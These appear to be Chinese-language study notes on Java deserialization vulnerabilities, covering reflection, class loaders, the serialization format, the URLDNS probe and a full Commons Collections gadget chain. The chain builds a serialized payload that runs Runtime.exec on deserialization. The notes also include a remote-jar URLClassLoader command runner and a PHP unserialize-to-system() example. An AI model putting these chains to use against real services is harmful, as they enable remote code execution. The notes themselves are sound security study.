Java 反序列化学习

父类的静态代码块->子类的静态代码块->父类的代码块->父类构造函数->子类代码块->子类构造函数

public void foo(String name) throws Exception {
	Class.forName(name);
}

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

// 反射加载 TestHelloWorld
Class.forName("com.TestHelloWorld");

// ClassLoader 加载 TestHelloWorld
this.getClass().getClassLoader().loadClass("com.TestHelloWorld");

package top.wywwzjj.demo;

import java.lang.reflect.Method;

public class TestClassLoader extends ClassLoader {

    // TestHelloWorld类名
    private static final String testClassName = "com.anbai.sec.classloader.TestHelloWorld";

    // TestHelloWorld类字节码，也可以直接读文件
    private static final byte[] testClassBytes = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
            0, 0, 0, 2, 0, 12
    };

    public static void main(String[] args) {
        // 创建自定义的类加载器
        TestClassLoader loader = new TestClassLoader();

        try {
            // 使用自定义的类加载器加载TestHelloWorld类
            Class testClass = loader.loadClass(testClassName);

            // 反射创建TestHelloWorld类，等价于 TestHelloWorld t = new TestHelloWorld();
            Object testInstance = testClass.newInstance();

            // 反射获取hello方法
            Method method = testInstance.getClass().getMethod("hello");

            // 反射调用hello方法,等价于 String str = t.hello();
            String str = (String) method.invoke(testInstance);

            System.out.println(str);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public Class<?> findClass(String name) throws ClassNotFoundException {
        // 只处理TestHelloWorld类
        if (name.equals(testClassName)) {
            // 调用JVM的native方法定义TestHelloWorld类
            return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
        }

        return super.findClass(name);
    }
}

package top.wywwzjj.demo;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class TestURLClassLoader {

    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL[] urls = new URL("https://cmd.jar");

            // 创建URLClassLoader对象，并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(urls);

            // 定义需要执行的系统命令
            String cmd = "ls";

            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("CMD");

            // 调用CMD类中的exec方法，等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);

            // 获取命令执行结果的输入流
            InputStream in = process.getInputStream();
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int a = -1;

            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                byteArrayOutputStream.write(b, 0, a);
            }

            // 输出命令执行结果
            System.out.println(byteArrayOutputStream.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

import java.io.IOException;

public class CMD {
    // CMD.exec
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}

java.lang.Runtime.class;  // 类名.class
Class.forName("java.lang.Class");  // 已知类名，需传入包名
obj.getClass();  // 已知对象 obj 的 class

// 这三种方式获取的`Class`实例都是同一个实例，因为JVM对每个加载的`Class`只创建一个`Class`实例来表示它的类型。

ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime")  //类加载

Class<?> doubleArray = Class.forName("[D");					  // 相当于 double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String"); // 相当于 String[][].class

String className = "java.lang.Runtime";
Class runtimeClass1 = Class.forName(className);
Class runtimeClass2 = java.lang.Runtime.class;
Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);

class Test {
    class Hello {
    }
}

Class.forName("java.lang.Class").isInstance(obj);

String tt = String.class.newInstance();  // 只能调用该类的无参构造函数

String tt = String.class.getConstructor(String.class).newInstance("2333");  // 指定方法
=> String tt = "2333";

Method[] methods = clazz.getDeclaredMethods();

Method[] methods = clazz.getMethods();

Method getDeclaredMethod(name, Class...)
Method method = clazz.getDeclaredMethod("test", String.class);

Method getMethod(name, Class...)
Method method = clazz.getMethod("test", String.class);

method.invoke(方法实例对象, 方法参数值，多个参数值用","隔开);

// Runtime.class.getMethod("exec", String.class)
//		  .invoke(Runtime.class.getMethod("getRuntime").invoke(null), "whoami")
Class<?> rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime");
Method ex = rt.getMethod("exec", String.class);
Process process = (Process) ex.invoke(gr.invoke(null, new Object[]{}), "calc.exe");

// 输出执行结果
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
System.out.print(op);

// 调用方法时忽略权限检查
gr.setAccessible(true);

// 获取指定方法，需要指定参数 class 类型，例如 String.class，遇到可变长参数当成数组即可
public Method getMethod(String name, Class<?>...parameterTypes)

// 获取所有 public 方法，包括继承的
public Method[] getMethods() throws SecurityException

// 获取声明的所有方法，包括公共、保护、私有、默认方法，不包括继承的方法
public Method[] getDeclaredMethods() throws SecurityException

getFiled();  // 公有成员变量，同样有 getFileds...
getDeclaredFiled();  // 所有声明的成员变量，但不能得到其父类的成员信息

Field fields = clazz.getDeclaredFields();

Field field  = clazz.getDeclaredField("变量名");

Object obj = field.get(类实例对象);

field.set(类实例对象, 修改后的值);

// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");

// 设置modifiers修改权限
modifiers.setAccessible(true);

// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

// 修改成员变量值
field.set(类实例对象, 修改后的值);

public class Main {
    public static void main(String[] args) throws Exception {
        Class i = Integer.class;
        Class n = i.getSuperclass();
        System.out.println(n);
        Class o = n.getSuperclass();
        System.out.println(o);
        System.out.println(o.getSuperclass());
    }
}

public class Main {
    public static void main(String[] args) throws Exception {
        Class s = Integer.class;
        Class[] is = s.getInterfaces();
        for (Class i : is) {
            System.out.println(i);
        }
    }
}

Object n = Integer.valueOf(123);
boolean isDouble = n instanceof Double; // false
boolean isInteger = n instanceof Integer; // true
boolean isNumber = n instanceof Number; // true
boolean isSerializable = n instanceof java.io.Serializable; // true

// Integer i = ?
Integer.class.isAssignableFrom(Integer.class); // true，因为Integer可以赋值给Integer
// Number n = ?
Number.class.isAssignableFrom(Integer.class); // true，因为Integer可以赋值给Number
// Object o = ?
Object.class.isAssignableFrom(Integer.class); // true，因为Integer可以赋值给Object
// Integer i = ?
Integer.class.isAssignableFrom(Number.class); // false，因为Number不能赋值给Integer

System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));

// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");

// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);

// 创建Runtime类示例，等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();

// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);

// 调用exec方法，等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);

// 获取命令执行结果
InputStream in = process.getInputStream();

// 输出命令执行结果
System.out.println(IOUtils.toString(in, "UTF-8"));

package top.wywwzjj;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Map;

public class DynamicInvocationHandler implements InvocationHandler {
    /*
     * proxy：被代理的对象
     * method：对应于在代理实例上调用的接口方法的 Method 实例
     * args：包含传入代理实例上方法调用的参数值的对象数组，如果接口方法不使用参数，则为 null。
     */
    
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) {
        System.out.printf("Invoked method: %s\n", method.getName());
        return 42;
    }

    public static void main(String[] args) {
        Map proxyMap = (Map) Proxy.newProxyInstance(
                DynamicInvocationHandler.class.getClassLoader(), // 指定动态代理类的类加载器
                new Class[]{Map.class},  // 定义动态代理生成的类实现的接口
                new DynamicInvocationHandler());  // 动态代理处理类
        
		Object obj = proxyMap.get("2");
        System.out.println(obj);
    }
}

// Run:
Invoked method: get
42

JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
int res = compiler.run(null, null, null, "E:/MyJava/HelloWorld.java");
System.out.println(res == 0 ? "编译成功" : "编译失败");

// 直接调用
Process process = Runtime.getRuntime().exec("java -cp E:/MyJava HelloWorld");

// 反射加载类
URL[] urls = new URL[]{new URL("file:/" + "E:/MyJava/")};
URLClassLoader loader = new URLClassLoader(urls);
Class c = loader.loadClass("HelloWorld");
Method m = c.getMethod("main", String[].class);  // 调用加载类的 main 方法
m.invoke(null, (Object) new String[]{});

ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("js");
engine.eval("var test = '233'");

public interface Serializable {
}

private void writeObject(java.io.ObjectOutputStream out)
     throws IOException
 private void readObject(java.io.ObjectInputStream in)
     throws IOException, ClassNotFoundException;
 private void readObjectNoData()
     throws ObjectStreamException;

 /**
  * Creates local class descriptor representing given class.
  */
private ObjectStreamClass(final Class<?> cl) {
    if (serializable) {
    	AccessController.doPrivileged(new PrivilegedAction<Void>() {
    
        writeObjectMethod = getPrivateMethod(cl, "writeObject",
            new Class<?>[] { ObjectOutputStream.class },
            Void.TYPE);
        readObjectMethod = getPrivateMethod(cl, "readObject",
            new Class<?>[] { ObjectInputStream.class },
            Void.TYPE);
        readObjectNoDataMethod = getPrivateMethod(
            cl, "readObjectNoData", null, Void.TYPE);
            hasWriteObjectData = (writeObjectMethod != null);
        }
}

public class Person implements Serializable {
    public String pubName;
    private String priName;

    public Person(String name1, String name2) {
        pubName = name1;
        priName = name2;
    }

    private void writeObject(java.io.ObjectOutputStream out) throws IOException {
        // 在序列化数据流中添加自定义的数据
        out.writeObject("test for writeObject");
        out.defaultWriteObject();
    }

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        // 读出之前存入的自定义数据
        String s = (String) in.readObject();
        System.out.println(s);
        in.defaultReadObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = new Person("name1", "name2");
        String resPath = "person.txt";

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(resPath));
        oos.writeObject(person);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(resPath));
        Object obj = ois.readObject();
        ois.close();

        person = (Person) obj;
        System.out.println(person);
    }
    
    @Override
    public String toString() {
        System.out.println("call toString");
        return pubName + " : " + priName;
    }
}

test for writeObject
call toString
name1 : name2

<?php

class Person {
    public $pubName = "name1";
    private $priName = "name2";
	
    public function __destruct() {
        system($this->pubName);
    }
    
    public function getPriName() {
        return $this->priName;
    }
}

$p1 = new Person;
$p1->pubName = "whoami";

$p->test();  // __call
$p();  // __invoke

$res = serialize($p1);

// server
$input = $_GET[1];

$p2 = unserialize($input);

// PHP 7.4
O:6:"Person":2:{s:7:"pubName";s:5:"name1";s:15:"PersonpriName";s:5:"name2";}

public class Persaon implements Serializable {
    public String pubName;
    private String priName;

    public Persaon(String name1, String name2) {
        pubName = name1;
        priName = name2;
    }

    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        System.out.println("call readObject");
        // in.defaultReadObject();
    }
    
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Persaon persaon = new Persaon("name1", "name2");
        String resPath = "person.txt";

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(resPath));
        oos.writeObject(persaon);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(resPath));
        Object obj = ois.readObject();
        persaon = (Persaon) obj;
        System.out.println(persaon);
        ois.close();
    }
}

readObject:15, Persaon (top.wywwzjj)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2256, ObjectInputStream (java.io)
readOrdinaryObject:2147, ObjectInputStream (java.io)
readObject0:1646, ObjectInputStream (java.io)
readObject:482, ObjectInputStream (java.io)
readObject:440, ObjectInputStream (java.io)
main:28, Persaon (top.wywwzjj)

00000000: aced 0005 7372 0013 746f 702e 7779 7777  ....sr..top.wyww
00000010: 7a6a 6a2e 5065 7273 616f 6e9e c19f 8faa  zjj.Persaon.....
00000020: 0a9b a502 0002 4c#00 07#70 7269 4e61 6d65  ......L..priName
00000030: 7400 12#4c 6a61 7661 2f6c 616e 672f 5374  t..Ljava/lang/St
00000040: 7269 6e67 3b#4c 0007 7075 624e 616d 6571  ring;L..pubNameq
00000050: 007e 0001 #7870 7400 056e 616d 6532 7400  .~..xpt..name2t.
00000060: 056e 616d 6531                           .name1

out.writeShort(fields.length);

for (int i = 0; i < fields.length; i++) {
    ObjectStreamField f = fields[i];
    out.writeByte(f.getTypeCode());
    out.writeUTF(f.getName());
    if (!f.isPrimitive()) {
        out.writeTypeString(f.getTypeString());
    }
}

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 19 - 0x00 13
        Value - top.wywwzjj.Persaon - 0x746f702e777977777a6a6a2e50657273616f6e
      serialVersionUID - 0x9e c1 9f 8f aa 0a 9b a5
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Object - L - 0x4c
          fieldName
            Length - 7 - 0x00 07
            Value - priName - 0x7072694e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
        1:
          Object - L - 0x4c
          fieldName
            Length - 7 - 0x00 07
            Value - pubName - 0x7075624e616d65
          className1
            TC_REFERENCE - 0x71
              Handle - 8257537 - 0x00 7e 00 01
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata  // depth = 1?
      top.wywwzjj.Persaon
        values
          priName
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 5 - 0x00 05
                Value - name2 - 0x6e616d6532
          pubName
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 04
                Length - 5 - 0x00 05
                Value - name1 - 0x6e616d6531

<?php
class Connection
{
    protected $link;
    private $dsn, $username, $password;
    
    public function __construct($dsn, $username, $password)
    {
        $this->dsn = $dsn;
        $this->username = $username;
        $this->password = $password;
        $this->connect();
    }
    
    private function connect()
    {
        $this->link = new PDO($this->dsn, $this->username, $this->password);
    }
    
    public function __sleep()
    {
        return array('dsn', 'username', 'password');
    }
    
    public function __wakeup()
    {
        $this->connect();
    }
}?>

readObject(Object.class);
	readObject0(type, false);
		readOrdinaryObject(unshared)
			// description
			readClassDesc(false);
				readNonProxyDesc(unshared);
					readDesc = readClassDescriptor();
					resolveClass(readDesc)
						Class.forName(name, false, latestUserDefinedLoader());
			// 下面的 readClassDesc(false) 实际作用是 readSuperClassDesc(false)
			desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));
			// initNonProxy 做了许多检查，如判断加载的类和序列化数据中的类是否一致
			// 还判断了 SerialVersionUID 等等

			obj = desc.isInstantiable() ? desc.newInstance() : null;
				cons.newInstance();
					ConstructorAccessor.newInstance(initargs);
						T inst = (T) ca.newInstance(initargs);
                            getSerializableConstructor()
                                cons = reflFactory.newConstructorForSerialization(cl, cons);
			readSerialData(obj, desc);
				readObjectMethod.invoke(obj, new Object[]{ in });
					slotDesc.invokeReadObject(obj, this);
					// 如果没有自定义 readObject，就调默认的 defaultReadFields(obj, slotDesc);

String command = "whoami";
Process proc = Runtime.getRuntime().exec(command);
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF8"));
String line = null;
while ((line = br.readLine()) != null) {
    System.out.println(line);
}

String command = "whoami";
Process proc = new ProcessBuilder(command).start();
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF8"));
String line = null;
while ((line = br.readLine()) != null) {
	System.out.println(line);
}

HashMap.readObject()
	HashMap.putVal()
		HashMap.hash()
			URL.hashCode()
				InetAddress.getByName(host);

java -jar .\target\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://hqbuzb75py3ydukv1rizg1cek5qwel.burpcollaborator.net > payload

/**
* The host's IP address, used in equals and hashCode.
* Computed on demand. An uninitialized or unknown hostAddress is null.
*/
transient InetAddress hostAddress;

u.hostAddress = InetAddress.getByName(host);

lookupAllHostAddr:928, InetAddress$2 (java.net)
getAddressesFromNameService:1323, InetAddress (java.net)
getAllByName0:1276, InetAddress (java.net)
getAllByName:1192, InetAddress (java.net)
getAllByName:1126, InetAddress (java.net)
getByName:1076, InetAddress (java.net)
getHostAddress:442, URLStreamHandler (java.net)
hashCode:359, URLStreamHandler (java.net)
hashCode:885, URL (java.net)
main:13, Hello (top.wywwzjj.demo)

URL url = new URL("http://jax59ndrd6zeztmcvf5cf1q7qywokd.burpcollaborator.net");
int i = url.hashCode();
System.out.println(i);

The Collaborator server received a DNS lookup of type A for the domain name jax59ndrd6zeztmcvf5cf1q7qywokd.burpcollaborator.net.

URL url = new URL("http://jax59ndrd6zeztmcvf5cf1q7qywokd.burpcollaborator.net");

HashMap<URL, Integer> map = new HashMap<>();
map.put(url, 1);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test"));
oos.writeObject(map);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test"));
ois.readObject();
ois.close();

public class URLDNS implements ObjectPayload<Object> {

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    @Override
    public Object getObject(final String url) throws Exception {

        //Avoid DNS resolution during payload creation
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
        URLStreamHandler handler = new SilentURLStreamHandler();

        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

        return ht;
    }

    /**
     * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
     * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
     * using the serialized object.</p>
     *
     * <b>Potential false negative:</b>
     * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
     * second resolution.</p>
     */
    static class SilentURLStreamHandler extends URLStreamHandler {

        @Override
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        @Override
        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

mvn dependency:sources -DdownloadSources=true -DdownloadJavadocs=true

/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
 *
 * @author Stephen Colebourne
 */
public class InvokerTransformer implements Transformer, Serializable {
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;
    
	/**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (Exception ex) {
            // ...
        }
    }
}

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

invokerTransformer.transform(Runtime.getRuntime());

/**
 * Defines a functor interface implemented by classes that transform one
 * object into another.
 * <p>
 * A <code>Transformer</code> converts the input object to the output object.
 * The input object should be left unchanged.
 * Transformers are typically used for type conversions, or extracting data
 * from an object.
 * <p>
 * Standard implementations of common transformers are provided by
 * {@link TransformerUtils}. These include method invokation, returning a constant,
 * cloning and returning the string value.
 * 
 * @since Commons Collections 1.0
 * @version $Revision: 1.10 $ $Date: 2004/04/14 20:08:57 $
 * 
 * @author James Strachan
 * @author Stephen Colebourne
 */
public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);
}

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    /** The transformer to use for the key */
    protected final Transformer keyTransformer;
    /** The transformer to use for the value */
    protected final Transformer valueTransformer;
    
    /**
     * Transforms a key.
     * <p>
     * The transformer itself may throw an exception if necessary.
     * 
     * @param object  the object to transform
     * @throws the transformed object
     */
    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);  // 这里
    }
    
    /**
     * Transforms a value.
     * <p>
     * The transformer itself may throw an exception if necessary.
     * 
     * @param object  the object to transform
     * @throws the transformed object
     */
    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);  // 这里
    }
    
    /**
     * Override to transform the value when using <code>setValue</code>.
     * 
     * @param value  the value to transform
     * @return the transformed value
     * @since Commons Collections 3.1
     */
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);  // 这里
    }
    
    //-----------------------------------------------------------------------
    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

    public void putAll(Map mapToCopy) {
        mapToCopy = transformMap(mapToCopy);
        getMap().putAll(mapToCopy);
    }
}

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

invokerTransformer.transform(Runtime.getRuntime());

Map innerMap = new HashMap();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

Map outerMap = TransformedMap.decorate(innerMap, invokerTransformer, null);

outerMap.put(Runtime.getRuntime(), "test");

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;
    
    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param constantToReturn  the constant to return each time
     */
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }
}

public class ChainedTransformer implements Transformer, Serializable {
    /** The transformers to call in turn */
    private final Transformer[] iTransformers;
    
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, transformerChain, null);


outerMap.put("test", "test");

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    // Runtime.getRuntime()
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, transformerChain, null);

outerMap.put("test", "test");

((Runtime) Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc");

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                           new Object[] { "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
                           new Object[] { "calc" }) };

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("test", "test");

Map outerMap = TransformedMap.decorate(innerMap, chainedTransformer, null);

Set entrySet = outerMap.entrySet();
Iterator iterator = entrySet.iterator();
Map.Entry entry = (Map.Entry) iterator.next();

entry.setValue("test");  // 这一行触发

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name))
                    );
                }
            }
        }
    }
}

'sun.reflect.annotation.AnnotationInvocationHandler' is not public in 'sun.reflect.annotation'. Cannot be accessed from outside package

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 根据参数选择构造函数
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);

Object obj = construct.newInstance(Retention.class, outerMap);  // Retention.class

public static void main(final String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                               new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                               new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class },
                               new Object[] { "calc" }) };

    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    Map innerMap = new HashMap();
    innerMap.put("value", "test");  // 需要是 value

    // Map outerMap = TransformedMap.decorate(innerMap, chainedTransformer, null);
    Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    Object obj = construct.newInstance(Retention.class, outerMap);

    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload"));
    oos.writeObject(obj);
    oos.close();

    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload"));
    ois.readObject();
    ois.close();
}

transform:121, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:169, TransformedMap (org.apache.commons.collections.map)
setValue:191, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:451, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
